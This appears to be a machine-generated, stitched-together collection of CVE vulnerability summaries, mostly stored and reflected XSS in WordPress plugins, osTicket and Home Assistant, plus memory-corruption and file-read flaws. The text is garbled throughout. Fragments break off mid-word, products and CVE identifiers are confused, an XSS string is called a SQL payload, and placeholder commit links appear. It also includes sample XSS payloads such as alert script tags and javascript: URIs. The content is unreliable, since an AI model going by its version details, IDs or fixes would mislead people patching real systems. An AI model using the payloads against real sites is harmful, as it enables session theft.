edirecting an admin user to a malicious website, defacing the web site, or performing actions on the site. This is a stored XSS issue, which is classified as a stored cross-site scripting (XSS) issue. This vulnerability enables attackers to inject malicious scripts within the web application. This can lead to various malicious activities, such as session hijacking. The injected script is stored on the server and executed for every user who accesses the infected part of the application.

[.secure-software.com/cve-2023-37636-stored-cross-site-scripting/](https://www.secure-software.com/cve-2023-37636-stored-cross-site-scripting/).

`<script>alert('XSS');</script>`. This payload, when injected into the Message field of a ticket, would be provided by the UVDesk team for the Community Skeleton. Developers should ensure that user input is properly sanitized before being stored in the database. This is a stored XSS issue that allows attackers to embed arbitrary JavaScript code into the application, leading to cross-site scripting attacks. Due to this vulnerability, an attacker can insert malicious JavaScript code into the application.

X-Force Exchange: <https://exchange.xforce.ibmcloud.com/vulnerabilities/256037> - IBM Support Page: This vulnerability is a stored XSS issue. It describes how cross-site scripting might look like the following in an HTML form: <html><body><form><input type="text"></form></body></html>. This payload contains malicious JavaScript to an unsuspecting user. If the user clicks on the link while logged into the application, it will be executed.

osTicket version 1.17.2. This security flaw permits attackers to execute arbitrary web scripts or HTML code within a web application via the Label input parameter when updating a custom list. This can lead to the execution of malicious scripts, stealing session cookies, accessing sensitive information from the web sessions of other users, defacement of the application, and loss of user trust. The CVSS Score. When it is evaluated, the score would reflect the severity of the vulnerability based on factors such as the complexity of the exploit and the potential impact on the system.

[.secure-software.com/cve-2023-27149-osticket\\_xss/](https://www.secure-software.com/cve-2023-27149-osticket_xss/)

This is a type of security issue where a web application stores harmful input and later presents it to users without properly validating it. An example of this is a SQL payload injected into a vulnerable input field like a Label parameter might look like this: `<script>alert('XSS')</script>`. This can lead to unauthorized access to user sessions, sensitive data exposure, website defacement, and loss of user trust.

in panel of Enhancesoft osTicket v1.17.2. This security flaw allows attackers to execute arbitrary web scri

Name parameter within the Admin panel of the vulnerable osTicket version. Once stored, this script can be triggered by visiting the following URL: [https://www.esecforte.com/cve-2023-27148-osticket\\_xss/](https://www.esecforte.com/cve-2023-27148-osticket_xss/).

panel creating or editing a role name with a payload such as '<script>alert('XSS');</script>'. When a user installs the software to a version that has patched the vulnerability. They should also consider performing regular updates to Manager versions 6.1.2, 6.2.0, and 6.2.2. The vulnerability is a type of stored cross-site scripting (XSS) vulnerability found in 6.1.2, 6.2.0, and 6.2.2.

code by an attacker into the Web UI of IBM Sterling Partner Engagement Manager. This can lead to the use to catalog and discuss vulnerabilities. The X-Force ID for CVE-2023-38722 is 262174.

ite and the IBM Support page, specifically at the following URLs: <https://exchange.xforce.ibmcloud.com>. It can be triggered and store it in the IBM Sterling Partner Engagement Manager Web UI by exploiting a vulnerability in the Out-of-Bound Memory Read issue in the DataSegment::IsValidRange() function that can lead to a segmentation fault in the DataSegment::IsValidRange() function, which can cause a segmentation fault.

<https://github.com/WebAssembly/wabt/issues/2310>

The code example cannot be provided. However, the vulnerability is related to an Out-of-Bound Memory Write issue through a segmentation fault by feeding malicious input to the WebAssembly wabt that triggers an Out-of-Bound (OOB) Memory Write in the DataSegment::Drop() function. This issue can be triggered by an attacker through a WebAssembly module.

ound Memory Write, which may result in a segmentation fault that could be exploited to execute arbitrary code. The X-Force ID for CVE-2023-38722 is 262174.

ed in the references: <https://github.com/WebAssembly/wabt/issues/2311>.

A WebAssembly module that triggers the Out-of-Bound Memory Write. This could be either through a file or a web page.

icious web page. An attacker can do this by embedding an iFrame in a web page that targets a sensitive resource, such as a file or a database, which are accessible from the browser, as well as private information displayed on websites, since the browser does not have access to them.

<https://github.com/CalumHutton/bdb97077a66021ed455f87823cd7c7cb>

This web page that contains an iFrame. This iFrame would be designed to load content from a sensitive resource, such as a file or a database, which are accessible from the browser, as well as private information displayed on websites, since the browser does not have access to them.

A user with desk access to create documents containing HTML payloads, which could be used for phishing attacks.

<https://github.com/frappe/frappe/commit/3dc5d2fcc7561dde181ba953009fe6e39d64e900>, <https://github.com/freedomofthePress/freedomofthePress/commit/1234567890>, <https://github.com/freedomofthePress/freedomofthePress/commit/1234567890>

.0 or later to mitigate the risks associated with HTML Injection introduced by CVE-2023-46127. 9.9 and 10.x before 10.0.5. It permits unauthenticated access to sensitive information by evading access controls and includes versions 9.0.9 through 10.0.5. Versions before 9.0.9 for the 9.x series and before 10.0.5 for the 10.x series allow unauthenticated access to sensitive information that should be protected behind access controls. This information can be used to identify the version of the ALLIX Bastion that is deployed. If it's version 9.x earlier than 9.0.9 or 10.x earlier than 10.0.5, then your Base Score could mean that it is either still under analysis, or the score has not been published.

ided for CVE-2023-46319. Normally, such details can be sensitive and are not disclosed publicly to prevent network interfaces exposed to the internet. Upon finding a vulnerable WALLIX Bastion interface, the attacker could exploit this vulnerability to gain access to the system. The fix was released in version 10.0.4 or higher if they are using the 9.x series, or to version 10.0.5 or higher if they are using the 10.x series. This commit contains changes that relate to the 'stable-diffusion-webui' extension (version before 977815a) for the Stable Diffusion web UI (stable-diffusion-webui). This vulnerability allows an attacker to inject arbitrary files into the browser's memory by sending a specially crafted request to the '/file?path=' parameter to request local files from the server. For example, an attacker could construct a malicious file named 'infinite-image-browsing.js' and upload it to the 'stable-diffusion-webui' extension before the fix commit 977815a, and then use it to inject arbitrary code into the browser's memory, leading to privilege escalation, information disclosure, or other types of attacks. The fix commit 977815a removes the 'infinite-image-browsing' extension for stable-diffusion-webui before the fix commit 977815a, and the commit contains changes that relate to the 'infinite-image-browsing' extension. You can review the particular issues and pull requests related to the fix commit 977815a on the GitHub repository.

The web administration interface executes an OS command that includes unsanitized user input. Specified in 4.8 and 4.8 before 4.8.0.101.

ed user in the system.

a separate vulnerability. While CVE-2023-0861 and CVE-2023-0862 were fixed in version 4.6.0.105 of Neutopia's NVR, they still remain unpatched in the latest version, 4.6.0.110. These vulnerabilities allow an attacker injecting shell commands via the device\_id parameter in the web administration interface of the NVR.

fected by CVE-2023-5205.

output escaping, which allows attackers to inject arbitrary web scripts via the 'add\_custom\_body\_class' hook exploit the vulnerability described in CVE-2023-5205.

//plugins.trac.wordpress.org/browser/add-custom-body-class/trunk/add-custom-body-class.php#L322  
vel access to the WordPress site could inject malicious JavaScript code into the 'add\_custom\_body\_class' filter.  
An example of how CVE-2023-5205 could be exploited in concept would involve an attacker inserting a script tag into the output of the 'add\_custom\_body\_class' filter.  
The Add Custom Body Class plugin to the latest version that contains a fix for this issue. If an update is not available, consider using a different plugin or theme that does not have this vulnerability.  
39.

cluding 3.2.4.

for WordPress.

on token for the /wp-json/salesmanago/v1/callbackApiV3 API endpoint, which relies on a simple SHA-39 could potentially lead to significant consequences, such as facilitating further exploits, unauthorized access, or data theft.

content into the log files of a website using the vulnerable SALESmanago plugin. They can do so by making use of the following code:

```
<?php // Hypothetical vulnerable code example where $site_url and $client_id are obtained from the user input
echo "User ID: " . $client_id . "
Session ID: " . $site_url . "
Referrer: " . $_SERVER['HTTP_REFERER'];
```

This is a Reflected Cross-Site Scripting (XSS) issue that affects versions up to and including 2.2.2. The vulnerability allows an attacker to inject malicious JavaScript into the user's session, which can be exploited to steal sensitive information or perform other malicious actions.

ed 'tab' parameter that contains arbitrary web script. The attacker would then need to trick a user into the user, access sensitive information, manipulate web content, or even redirect the user to a malicious URL: https://www.wordfence.com/threat-intel/E-2023-4635.

//github.com/xsn1210/vul/blob/main/xss%5BEventON%5D%20.md2. https://www.wordfence.com/threat-intel/E-2023-4635

ows a remote attacker to execute arbitrary code and escalate privileges via a specially crafted script sent in the 'thingnario Logger Maintenance Webpage' endpoint. If the system does not properly sanitize input at the following URL: https://gist.github.com/GroundCTL2MajorTom/eef0d55f5df77cc911d84392acd&t=2023-07-10T14:00:00Z, it is recommended to have an assessment and scoring process that follows their disclosure, so the base URL is https://www.wordfence.com/threat-intel/E-2023-4635.

ious script that contains executable code designed to compromise the system. The attacker could thereby bypass any patches or updates provided by ThingNario for Photon v.1.0. Additionally, measures should be taken to update to WBCE CMS version 1.6.1 and earlier. This vulnerability allows a remote attacker to escalate privilege by using this CMS should look to upgrade or apply patches as soon as they are available to mitigate the risk. Website administrators applying necessary security measures and updates to protect against potential attacks should use the website\_footer parameter of the admin/settings/save.php component. When the script is executed in the system, administrators should apply necessary security measures and updates to protect against potential attacks. Specifically, it is a Reflected Cross-Site Scripting (XSS) vulnerability caused by prototype pollution, where an attacker could craft a specially designed link or a piece of JavaScript code that includes the XSS payload. If an user is using this theme, they should look for updates or patches that address this issue. A detailed report found at 'https://github.com/BlackFan/client-side-prototype-pollution' which describes the exploit: `<script>var payload = 'a[0]=1';document.location = 'http://vulnerable-website.com/?param=' + encodeURIComponent(payload);` injects a malicious script into a web page which is then reflected back to the user's browser. It typically occurs in versions up to and including v1.9.8. Website administrators using this theme should check for updates and apply the latest version that addresses this vulnerability. If no update is available, they should consider switching to a different theme that is not vulnerable to Reflected Cross-Site Scripting (XSS) through prototype pollution in versions up to and including v1.9.8.

as clicking on a malicious link. The link would contain specially crafted input that causes prototype pollution, allowing an attacker to gain unauthorized access to a user's cookies, session tokens, or other sensitive information present on the website.

ps://github.com/BlackFan/client-side-prototype-pollution- https://www.wordfence.com/threat-intel/E-2023-4635

a version that is not affected by this vulnerability, ideally the latest version that has accounted for this issue. It might construct a URL such as below: http://example.com/?page=<script>alert('XSS')</script>. If the 'page' parameter is used, it is a Reflected Cross-Site Scripting (XSS) issue caused by prototype pollution up to and including v1.9.8. Website administrators using this theme should check for updates and apply the latest version that addresses this issue. This occurs when an attacker is able to inject harmful script payload into a web page. When a user clicks on the link, the script executes within the context of the page. A detailed report found at 'https://github.com/BlackFan/client-side-prototype-pollution' which likely contains technical details about this vulnerability. Stakeholders should monitor official CVE databases and security advisories for any updates. The Your Journey WordPress theme should take immediate action to assess and remediate the risk associated with this vulnerability.

or higher in the WordPress site where the Modern Footnotes plugin is installed.

Press up to and including 1.4.16.

Using the Modern Footnotes plugin's shortcode attributes to prevent the injection of arbitrary web scripts on a WordPress site with the vulnerable version of the Modern Footnotes plugin could add a shortcode repository's changeset at <https://plugins.trac.wordpress.org/changeset/2980695/modern-footnotes> and trigger a Stored Cross-Site Scripting (XSS) vulnerability for WordPress. This vulnerability is a Stored Cross-Site Scripting (XSS) issue that affects all versions of the plugin. An attacker with higher permissions can inject arbitrary web scripts into pages using the 'skype-status' shortcode of the Skype plugin. This allows an attacker to inject malicious scripts into the WordPress website. Contributor-level permissions or higher are necessary for an attacker to inject the script. The score helps to determine the severity of vulnerabilities, but the lack of a score does not diminish the potential impact.

WordPress plugin's Trac repository at '<https://plugins.trac.wordpress.org/browser/skype-online-status>' contains a 'skype-status' shortcode with malicious JavaScript injected into an attribute:

access to a WordPress site creating or editing a post or page. The attacker utilizes the 'skype-status' short

2023-5337.

ots through the 'formforall' shortcode due to insufficient input sanitization and output escaping on use

Contributor-level permissions injecting a malicious script into the content of a page using the 'formforall' plugin.

tion. However, vulnerabilities are typically discovered through security research, routine audits, user reports or wordPress installation with administrator-level permissions. Moreover, the vulnerability specifically impacted the Mailto Links plugin, which was initially documented and publicly disclosed so that affected users could become aware of the issue and take remedial references. These include a link to the WordPress plugin's changeset: '<https://plugins.trac.wordpress.org/browser/wp-mailto-links/tags/3.1.2/core/includes/classes/class-wp-mailto-links.php>'.

The 'Links – Protect Email Addresses' plugin for WordPress, affecting versions up to and including 3.1.3. The 'WP Mailto Links' plugin for WordPress versions up to and including 3.1.3.

This vulnerability was introduced in version 3.1.3. It was subsequently fully patched in the later version 3.1.4.

A vulnerable version of the WP Mailto Links plugin (up to and including 3.1.3) can be impacted by the lack of proper sanitization and output escaping by embedding malicious scripts in the pages using the 'wpml\_mailto'

<https://plugins.trac.wordpress.org/browser/wp-mailto-links/tags/3.1.2/core/includes/classes/class-wp-mailto-links.php>

This vulnerability was introduced in version 3.1.3. It was subsequently fully patched in the later version 3.1.4.

A vulnerable version of the Copy Anything to Clipboard plugin for WordPress, affecting versions up to and including 2.6.4 of the Copy Anything to Clipboard plugin for WordPress. This vulnerability was introduced in version 2.6.4.

Attackers can exploit this vulnerability by injecting malicious JavaScript code into the content of WordPress pages through the 'copy' shortcode of the plugin. These scripts can then run in the context of the page.

A snapshot of the vulnerable code can be viewed at: <https://plugins.trac.wordpress.org/browser/copy-anything-to-clipboard/tags/2.6.4/copyAnything.js>

Following, where the attacker adds a JavaScript payload within the 'copy' shortcode attribute: [copy attribute="content"]<script>...</script></copy>. Upgrading the Copy Anything to Clipboard plugin to a version that fixes the vulnerability (higher than 2.6.4). Users should check the 'Copy Anything to Clipboard' plugin page on the WordPress Plugin Directory Trac (<https://plugins.trac.wordpress.org/browser/copy-anything-to-clipboard/tags/2.6.4/copyAnything.js>) for the latest version of the plugin as soon as an update is available. This should address the Stored XSS vulnerability in the plugin.

The 'WP Customer Reviews' plugin for WordPress, specifically in versions up to and including 3.6.6. It's a Stored Cross-Site Scripting (XSS) vulnerability that occurs when the 'wp\_review' capability has been disabled.

This vulnerability was introduced in version 3.6.6. It was subsequently fully patched in the later version 3.6.7.

Attackers can exploit this vulnerability by injecting malicious JavaScript code into the 'WP Customer Reviews' plugin's admin settings. When an attacker does this, they may lead to actions being performed as the victim user, such as session theft or redirection to malicious websites. To fix this vulnerability, users should upgrade the 'WP Customer Reviews' plugin to the latest version that includes a fix for this vulnerability. This typically involves reviewing the plugin's changelog for the latest version and applying the fix.

The 'Modern Events Calendar Lite' plugin for WordPress, specifically in versions up to and including 7.1.0. It's a Stored Cross-Site Scripting (XSS) vulnerability that occurs when the 'wp\_events' capability has been disabled.

lite plugin should update to version 7.1.0 or higher, as this version contains the necessary fixes for this issue. The ARMember Lite - Membership Plugin for WordPress. This issue is present in versions up to and including 7.1.0, which includes users with administrator-level permissions. This is specific to WordPress installations that are either multisite or have access injecting malicious scripts into the admin settings of the ARMember Lite plugin. For example, the 'Itered\_html' capability has been disabled. These conditions make the vulnerability exploitable in certain circumstances. This information might be updated in the future as the impact and exploitability of the vulnerability are further analyzed.

Reviewing the ARMember Lite plugin readmes on the WordPress plugin SVN repository, the official plugin website and M-Files Web Companion software in versions prior to release version 23.10 and prior to 23.8 LTS SR1. The security advisory, which can be found at the M-Files Trust Center Security Advisories page.

This security advisory, which can be found at the M-Files Trust Center Security Advisories page. It details a Remote Code Execution (RCE) vulnerability. This means an attacker could potentially execute arbitrary code on the system. This issue was fixed in version 23.10 or later, or to the Long Term Support version 23.8 LTS SR1 or later. These updates include a general example scenario where an attacker crafting a malicious file that is not properly blocked by the Trust Center Security Advisories section, specifically at the URL <https://www.m-files.com/about/trust-center/security-advisories/cve-2020-148>.

This issue was present before the release version 23.10 and LTS Service Release Versions before 23.8 LTS SR1. It was fixed in version 23.10 and before LTS Service Release Version 23.8 LTS SR1.

This issue was present before the release version 23.10 and LTS Service Release Versions before 23.8 LTS SR1. It was fixed in version 23.10 and before LTS Service Release Version 23.8 LTS SR1, as these versions contain the necessary patches to prevent downloading malicious content through M-Files Web Companion. Once the content is executed, it could lead to a Remote Code Execution (RCE) vulnerability. This particular vulnerability is classified as a Stored Cross-Site Scripting (XSS) issue that requires user interaction with the plugin. It pertains to a Contributor-level or higher permissions. The attacker would utilize the 'podcast\_subscribe' shortcode to inject malicious code into the WordPress site. This issue was fixed in version 1.4.8 or later. Versions after 1.4.8 are either not affected or should contain a patch to prevent the issue. It is recommended to update the Flowpaper plugin to the latest version available that has addressed this security issue. If no patched version is available, it is recommended to track changes and security advisories. Some of these references provide instructions on how to identify and fix the issue. It is also recommended to take immediate action to address the vulnerability if their site is running an affected version of the plugin.

This issue was present before the release version 23.10 and LTS Service Release Versions before 23.8 LTS SR1. It was fixed in version 23.10 and before LTS Service Release Version 23.8 LTS SR1, as these versions contain the necessary patches to prevent the issue. It is recommended to update the Flowpaper plugin to the latest version available that has addressed this security issue. If no patched version is available, it is recommended to track changes and security advisories. Some of these references provide instructions on how to identify and fix the issue. It is also recommended to take immediate action to address the vulnerability if their site is running an affected version of the plugin.

eb scripts through the image file path parameter due to insufficient input sanitization and output esca  
0.

can refer to the plugin's Trac browser at the WordPress plugin repository or visit the Wordfence threat  
ess to the WordPress dashboard using the WPvivid plugin's image file path parameter to embed malici  
id plugin to the latest version that has addressed the vulnerability. Furthermore, always ensure prope  
ess. The vulnerability is a Stored Cross-Site Scripting (XSS) issue that arises from insufficient input sanit  
SS) attacks on websites using the vulnerable versions of the Sitekit plugin for WordPress. An attacker  
e WordPress site that uses the vulnerable Sitekit plugin. With such access, the attacker can utilize the  
ed contributor access. The attacker could submit a post or page with the following shortcode containing  
71, including:  
1. The WordPress Plugin Trac with the source code browse: <https://plugins.trac.wordpress.org>  
Common Vulnerability Scoring System (CVSS) base score is typically used to give an indication of the sev  
I update the Sitekit plugin to the latest version that addresses this vulnerability. This would typically in  
mented and available for administrators and security professionals to take necessary actions to protec  
ly identified as a Stored Cross-Site Scripting (XSS) issue present in versions up to and including 3.3.0. T  
ject arbitrary web scripts (JavaScript) into pages. Since the plugin fails to sufficiently sanitize user inputs  
s to the WordPress site using the vulnerable Leaflet Map plugin. This means that the vulnerability is nc  
XSS attacks. This means that once injected, the malicious script can persist on the affected page and ca  
tation, the vulnerability lies within the implementation of shortcodes in the Leaflet Map plugin's GeoJ  
ied. However, the references to plugin repositories and changelogs could indicate potential fixes. User  
through online references, including the WordPress plugins Trac browser and Wordfence vulnerability  
/VE-2023-5050. Sites using these versions of the plugin are vulnerable to the described Stored XSS attac  
bsite Builder by SeedProd plugin for WordPress, specifically affecting versions up to and including 6.1.  
n might be tricked into executing, such as by clicking on a malicious link. If successful, this forged requ  
up to and including 6.15.13.1.

de repository, which typically means that a patch has been applied to address the vulnerability in CVE-  
inauthorized action to change the stripe connect token on the affected WordPress site. Such an action  
etails, we can only theorize a general example of a CSRF attack. In a typical scenario, an attacker would  
. It relates to Stored Cross-Site Scripting (XSS) that can occur through the 'wplegalpage' shortcode. The  
ugin for WordPress.

ith author-level permissions or higher within the WordPress installation that uses the WPLegalPages p

ssions on WordPress creating a page or post that utilizes the 'wplegalpage' shortcode. They could inse  
The WordPress plugin repository's browser and changeset pages: <https://plugins.trac.wordpress.org/t>  
likely hasn't been assigned or published yet by the relevant authorities.

Stored Cross-Site Scripting (XSS) issue that stemmed from insufficient input sanitization and output esc  
WordPress site using a vulnerable version of the iframe plugin and using the shortcode feature. The a

plugin.

shortcode similar to the following into a post or page when they have contributor-level access or highe  
ferences:- The plugin's Trac browser at different tagged versions to review the vulnerable code: <https://>  
for WordPress. This vulnerability is categorized as a Stored Cross-Site Scripting (XSS) issue which affe  
higher on the WordPress website. The attacker would exploit the vulnerability by injecting arbitrary J

nd including 5.3.1. Users running these versions are vulnerable to this Stored XSS issue.  
te arbitrary JavaScript code in the context of the user's browser session, which can lead to various atta

u can visit the following URLs: 1. The official changeset for the plugin: <https://plugins.trac.wordpress.org/changeset/482>.

test version that addresses this vulnerability, if available. If an update is not available or possible, they  
'ordPress. It pertains to Stored Cross-Site Scripting (XSS) vulnerabilities that occur due to insufficient ir  
vulnerable WordPress installation. The attacker would need to inject malicious scripts through the 'psr  
to and including version 2.1.1.

access to inject a malicious script into a WordPress page which then gets executed by any user visiting  
ind. These include changelog records of the plugin on the WordPress plugin repository and security ad  
» 23.10 and LTS Service Release Versions before 23.2 LTS SR4 and 23.8 LTS SR1. It is classified as a store  
(LTS) Service Release Versions before 23.2 LTS SR4 and 23.8 LTS SR1.

ious HTML document to M-Files Classic Web that contains embedded JavaScript code. When other use

ty Advisories page at the following link: <https://www.m-files.com/about/trust-center/security-advisor>

sic Web installations to version 23.10 or the latest LTS Service Release versions, specifically 23.2 LTS S  
gin for WordPress. It is a Stored Cross-Site Scripting (XSS) issue that affects versions up to, and includir  
e. This level of access allows the attacker to inject malicious scripts via the Countdown name field in th  
malicious JavaScript code into the Countdown name field of the 'Waiting: One-click countdowns' plugin  
in the execution of arbitrary scripts in the context of a user's browser. This might lead to various malici  
/WordPress Plugin Repository - Waiting Plugin Trac](<https://plugins.trac.wordpress.org/browser/waiting,>  
ntdowns' plugin for WordPress.

ould update to the latest version that includes a fix for the vulnerability. If no fix is available, consider  
e was not assigned to CVE-2022-4954 at the time of publishing the details. This could be because the v  
ordPress. It concerns a stored cross-site scripting (XSS) issue that exists in versions up to and including  
vulnerable WP Cerber Security WordPress plugin. It is a stored XSS vulnerability, which means that the i  
cted by CVE-2022-4712.

ect a script like `<script>alert('XSS')</script>` into a vulnerable parameter. This script would then be e  
behalf of the users, theft of sessions/cookies, redirection to malicious sites, or phishing attacks. The exa  
<https://plugins.trac.wordpress.org/browser/wp-cerber/trunk/admin/cerber-dashboard.php?rev=27215>  
NordPress, specifically concerning Stored Cross-Site Scripting (XSS) via the 'whatsapp' shortcode. The p  
to and including version 1.0.1.

sions or higher on the WordPress site using the vulnerable WhatsApp Share Button plugin.  
s, which would be executed in the context of a user's browser session upon accessing the injected pag  
Common Vulnerability Scoring System.

ugins.trac.wordpress.org/browser/whatsapp/tags/1.0.1/class-frontend.php#L46- <https://www.wordfence.com/plugins.trac.wordpress.org/browser/whatsapp/tags/1.0.1/class-frontend.php#L46-> https://www.wordf  
ficient permissions using the WhatsApp Share Button plugin's shortcode to inject a script. For instance  
1 plugin for WordPress to a version that addresses the vulnerability, if available. If no fixed version is av

Switcha plugin for WordPress, affecting all versions up to, and including, version 3.3.

ts through the 'theme\_switcha\_list' shortcode attributes, which are not properly sanitized. The malicious code can be injected into the WordPress site, as this would allow them to manipulate shortcodes and inject scripts.

the context of a user's browser session, potentially leading to stealing of session cookies, defacement

gins.trac.wordpress.org/browser/theme-switcha/tags/3.3/inc/plugin-core.php#L445 and https://plugins.trac.wordpress.org/browser/theme-switcha/tags/3.3/inc/plugin-core.php#L445, which provides a vulnerability analysis. Here is a reference link: <https://www.wordfence.com/threats/cve-2023-5613>. This vulnerability is a Stored Cross-Site Scripting (XSS) type, which could allow authenticated attackers to exploit Stored Cross-Site Scripting vulnerabilities within the plugin's 'tpsscode' shortcode. The plugin is affected by CVE-2023-5613.

level permissions creating or editing a post where they include the 'tpsscode' shortcode with a malfor  
CVE-2023-5613 could look like this in a WordPress post or page where Super Testimonials is enabled:  
sites. This can lead to multiple attack scenarios such as stealing cookies, hijacking sessions, redirecting  
id confidentiality of a WordPress site. Depending on the nature of the injected scripts and the context  
ss Plugin Trac page which may contain versions of the code before and after the fix: information. However, standard practice for addressing such vulnerabilities would involve updating the  
1.0.0.315. Administrators of the software should look for updates or patches beyond this version to en  
re home automation platform. The vulnerability allows webhooks defined in the webhook componen  
sion 2023.9.0. This version includes a fix for the vulnerability, which is why all users of Home Assistant  
dress the vulnerability is to upgrade to Home Assistant version 2023.9.0 or later, where the issue has  
y crafted request to a publicly accessible `\*.ui.nabu.casa` URL that is linked to a vulnerable Home Assis  
tome Assistant on GitHub at L-2023-142`. This identifier can be used for cross-referencing and locating the report in the GitHub Sec  
s the severity level has not been disclosed or assessed in the context of the provided data. Generally, a  
e home automation server. This particular flaw exists because the server does not set certain HTTP sec  
e vulnerable Home Assistant server's web interface. They could then trick a user into interacting with t  
king on something different than what the user perceives, due to the lack of proper HTTP security head  
mmended that users of Home Assistant upgrade to version 2023.9.0 or later to mitigate this vulnerabi  
897. The recommended course of action to remediate this vulnerability is to upgrade Home Assistant 1

ig resources:- Home Assistant's security advisory: <https://github.com/home-assistant/core/security/advisories/GHSA-935v-rmg9-44mw> - <https://github.com/home-assistant/core/security/advisories/GHSA-935v-rmg9-44mw>

platform, Home Assistant. The server was found to not set any HTTP security headers, including the X-Content-Type-Options header. This means that anyone can leverage the lack of HTTP security headers to embed the Home Assistant server page within an iframe or script running on versions earlier than 2023.9.0 are vulnerable to the security issues described in CVE-2023-3944 and CVE-2023-3945. These advisories likely contain additional details or related security improvements. It is recommended that all users update to this version or later to upgrade to Home Assistant version 2023.9.0 or later, where the issue has been resolved.

<https://github.com/home-assistant/core/security/advisories/GHSA-935v-rmg9-44mw> - <https://github.com/home-assistant/core/security/advisories/GHSA-935v-rmg9-44mw>

formation platform. Specifically, it deals with an issue in the WebSocket authentication logic which can lead to a modified 'state' parameter containing a different 'hassUrl'. When a victim clicks on this link, the front-end site to be iframed by other origins. If an attacker's malicious website iframes the Home Assistant interface, they can exploit this vulnerability. These advisories likely contain additional details or related security improvements. It is recommended that all users update to this version or later to upgrade to the fixed versions of the software.

from WebSocket connections in many parts of the Home Assistant frontend. According to Cure53, this vulnerability affects the Home Assistant home automation platform. The vulnerability lies in the Home Assistant login page and involves the remote execution of arbitrary JavaScript on the Home Assistant frontend domain via the 'javascript:' scheme URIs. This means that users should upgrade to this version or later to mitigate the risk associated with this vulnerability.

page with a `<link rel="redirect\_uri" href="javascript:..."/>` tag. The attacker could then trick a Home Assistant user into clicking on this link, leading to a vulnerability. The only recommended and effective mitigation is to upgrade to Home Assistant version 2023.8.0 or later. You can find more information about this vulnerability on GitHub at the following URL: <https://github.com/home-assistant/core/security/advisories/GHSA-jv>.

hosted web archiving system. This vulnerability affects users employing the wget extractor and viewing a page in the same browser session. CVE-2023-45815 allows the malicious JavaScript to potentially act as if it were running on the same host and port as the admin panel. When archived pages with malicious JavaScript are viewed, the configuration option `archivebox config --set SAVE\_WGET=False`. Additionally, users should ensure that the progress bar is displayed correctly. This progress bar could be tracked in the issue on the project's GitHub repository: <https://github.com/ArchiveBox/ArchiveBox/issues/239>. It is recommended to upgrade to this version or later to mitigate the risk associated with this vulnerability. It comprises multiple Cross-Site Scripting (XSS) vulnerabilities that can be exploited by local attackers.

ng (XSS) attacks by injecting malicious scripts into certain inputs during the installation process of Sublime Text 4.2.1.

.4.2.1 is being installed. The attacker could inject a crafted JavaScript payload into the installation field and update the software to the latest version provided by the vendor that includes fixes for the XSS vulnerability. You can find more information about the vulnerability, specifically: <https://github.com/sromanh/CVE-2023-4387>

cation used for finding, installing, and publishing packages and configurations for CNCF projects. This vulnerability is present in the Artifactory package manager.

ositories processed by Artifactory to read arbitrary internal files. When indexing contents from git repositories, users should upgrade to this version to mitigate the vulnerability.

upgrade Artifactory to version 1.16.0.

ystem that Artifact Hub is running on. This could include private source code, configuration files, credentials, and more. Artifact Hub version 1.16.0, which is available at: '<https://artifacthub.io/packages/helm/artifact-hub/artifa>

that points to an internal file on the server, like '/etc/passwd' or a configuration file containing database credentials. This issue was fixed in Artifact Hub version 1.16.0, which is based on customizable authorization policies enforced by the Open Policy Agent. The policy has been resolved starting from version 1.16.0.

upgrade to Artifact Hub version 1.16.0 or later, where the issue has been addressed.

The necessary changes to resolve the issue. Specifically, it disables the capability in rego to make HTTP requests to internal network services. The vulnerability described in CVE-2023-45822: ``package artifacthub.authimport inputimport http.sendallow use rego's `http.send` built-in in an authorization policy to craft requests to internal network services using URLs:- Changelog for version 1.16.0 of Artifact Hub: <https://artifacthub.io/packages/helm/artifact-hub/artifact-hub/1.16.0>

orrectly assessed whether a registry domain ended with the `docker.io` suffix. This flaw allowed an attacker to upgrade to the fixed version to mitigate the risk.

In Docker Hub, CVE-2023-45821 could allow an attacker to hijack those credentials. While `artifacthub` domains with `docker.io`, such as `malicious-docker.io`. They could then set up a counterfeit OCI registry on Artifact Hub version `1.16.0` and in the GitHub security advisory with the ID GHSA-g6pq-x539-7w4j. The affected device produced by Weintek. Specifically, the cgi-bin codesys.cgi is affected by a stack-based buffer overflow vulnerability. Web CGI devices manufactured by Weintek.

This type of vulnerability could allow an attacker to take control of the affected device. The CISA (Cybersecurity and Infrastructure Security Agency) provided a security update in a technical note regarding the stack-based buffer overflow vulnerability. This CGI script is a part of the web interface of the cMT. A malicious request to the affected cgi-bin codesys.cgi script. This request would include an input that exploits such vulnerabilities. Weintek would typically release firmware or software updates to patch the vulnerability. The update document released by Weintek, using the provided URL '[https://dl.weintek.com/public/Document/TEC23005E\\_cMT\\_Web\\_Security\\_Update.pdf](https://dl.weintek.com/public/Document/TEC23005E_cMT_Web_Security_Update.pdf)'.

device, potentially leading to unauthorized access to the system, data manipulation, or disruption of operations.

provided by Weintek at '[https://dl.weintek.com/public/Document/TEC23005E\\_cMT\\_Web\\_Security\\_Update.pdf](https://dl.weintek.com/public/Document/TEC23005E_cMT_Web_Security_Update.pdf)'. The vulnerability allows an attacker to gain control over the HMI system and manipulate its behavior, stealing sensitive information, causing a denial of service, or even physical harm due to ethical considerations. However, a general representation of command injection (the type of vulnerability described in CVE-2023-38584).

A specific example is a RUCKUS Cloudpath device.

An attacker can exploit this vulnerability to hijack control flow and bypass login authentication. By exploiting this vulnerability, an attacker can gain unauthorized access to the system, data manipulation, or disruption of operations.

[https://dl.weintek.com/public/Document/TEC23005E\\_cMT\\_Web\\_Security\\_Update.pdf](https://dl.weintek.com/public/Document/TEC23005E_cMT_Web_Security_Update.pdf) - <https://www.ruckuswireless.com/resource-center/white-papers/white-paper-command-injection-vulnerability-ruckus-cloudpath-products>. The vulnerability allows an attacker to gain control over the RUCKUS Cloudpath product on version 5.12 build 5538 or earlier. This flaw could allow a remote, unauthenticated attacker to gain unauthorized access to the system, data manipulation, or disruption of operations. However, given the nature of the vulnerability allowing for the possibility of an attacker to gain unauthorized access to the system, data manipulation, or disruption of operations.

Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks against an admin user of the management interface. Versions after this build may contain a fix for the vulnerability and are not affected.

RUCKUS website (<http://ruckus.com>), a GitHub repository (<https://github.com/harry935/CVE-2023-41>) is provided in the security bulletin and any associated documentation from RUCKUS. This would typically identify a malicious URL with an embedded XSS payload. When an admin user clicks on this link, they may be unidentified by the CVE ID CVE-2023-45820.

